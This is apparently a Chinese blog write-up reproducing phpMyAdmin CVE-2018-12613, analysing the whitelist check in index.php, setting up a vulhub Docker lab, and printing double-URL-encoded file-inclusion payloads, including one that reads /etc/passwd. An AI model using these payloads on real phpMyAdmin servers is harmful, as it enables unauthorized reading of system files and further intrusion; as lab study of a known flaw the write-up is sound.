phpMyAdmin文件包含漏洞复现(CVE-2018-12613)

漏洞简介

漏洞编号:

CVE-2018-12613

漏洞详情:

该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。攻击者必须经过身份验证,但在这些情况下除外:
$ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定已经控制的任何主机,并在phpMyAdmin上执行任意代码
$ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码

漏洞影响范围:

phpMyAdmin 4.8.0-4.8.1

漏洞分析:

在index.php文件的55-63行如下

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

这里获取target参数做出了如下判断,判断为真则包含此参数。
1.参数不为空
2.参数为字符串
3.参数不能以index开头
4.参数不在$target_blacklist中
5.Core::checkPageValidity(参数)为真
第四条判定条件
$target_blacklist中的数组为import.php 和 export.php,所以参数不是这两个即可。
第五条判定条件中的函数如下:

public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

在这个函数中有以下判断,分别如下:
1、whitelist为空则引用静态声明的goto_whitelist
2、如果page没有被定义过或者page不为字符串则return false
3、page存在whitelist中的某个值则返回true
4、_page存在whitelist中的某个值则返回true
5、经过urldecode函数解码后的_page存在whitelist中的某个值则返回true
我们过一下整体的流程,首先index.php调用此函数时只传了$_REQUEST[‘target’]这一个参数,那么whitelist为空,所以引用了静态声明的goto_whitelist,再来看goto_whitelist的内容:

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

这是goto_whitelist中的值,也就是说这些是可以出现的。第二个条件肯定是为真的,接着往下走,第三个判断page是否为goto_whitelist中的值,如果是则返回ture,否则进入下一步,而这一步存在的意义在于,考虑到用户传入的page可能带有参数,所以有了这一步的判断。

所以第三步判断为假,进入下一步,先定义_page的值为:把page以?分割开,取前面的字符串看是否goto_whitelist中存在,如果存在,则返回ture,执行包含文件,如果还不存在,再验证,进行urlecode函数解码后再与goto_whitelist中的值进行判断,如果存在则返回真。

所以我们需要构造满足以上条件的payload进行文件包含,思路是进行二次url编码,例如我们传入

?target=db_datadict.php%253f../../../../phpinfo.php

经过一次服务器自动解码后变成了

?target=db_datadict.php%3f../../../../phpinfo.php

传入验证,这个参数过上面的流程的话,走到

_page存在whitelist中的某个值则返回true

这里的时候,判断为假,进入下一个判断,取?之前的值在goto_whitelist对照,但是此时没有?,截取之后判断还为假,所以进入url解码,再进行判断,此时解码后参数为

?target=db_datadict.php?../../../../phpinfo.php

判断为真,返回ture,包含此文件。

漏洞复现

环境搭建:

安装docker
1.    curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo
2.    yum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpm
3.    yum install docker-ce
4.    systemctl start docker
更换镜像的下载源
vi /etc/docker/daemon.json

直接替换里面的内容为:
{
“registry-mirrors”: [“https://xxxxx.mirrors.aliyun.com”]
}
网址在阿里云容器镜像服务获取:
https://www.aliyun.com/product/acr?spm=a2c4g.11174283.2.1.625e4541j1IFor
phpMyAdmin文件包含漏洞复现(CVE-2018-12613)_第1张图片

重启docker服务:

systemctl daemon-reload
systemctl restart docker

测试docker服务是否正常:

docker pull busybox
docker run busybox echo “hello world” 

输出hello world即docker正常运行。

部署漏洞所需环境:

复现漏洞可以直接使用vulhub上的docker镜像
项目可以下载至任意目录下,我这里在root目录下

git clone https://github.com/vulhub/vulhub

进入项目需要复现的漏洞编号下

cd vulhub/vulhub-master/phpmyadmin/CVE-2018-12613

把我们需要的项目起来

docker-compose up -d

此命令需要python环境,还需要再单独下载

yum install -y python38
可能yum源里没有python38,也可以装其他版本,可以执行get-pip.py文件即可
wget https://bootstrap.pypa.io/get-pip.py
sudo  python3 get-pip.py
pip -version
pip install docker-compose

环境搭建完成,我这里打开页面访问8080端口就进入了phpMyAdmin界面

漏洞验证

构造包含文件的payload,测试包含etc/passwd文件:

http://192.168.0.106:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

phpMyAdmin文件包含漏洞复现(CVE-2018-12613)_第2张图片可以看到已经显示出etc/passwd文件了,漏洞复现完成!

你可能感兴趣的:(cve)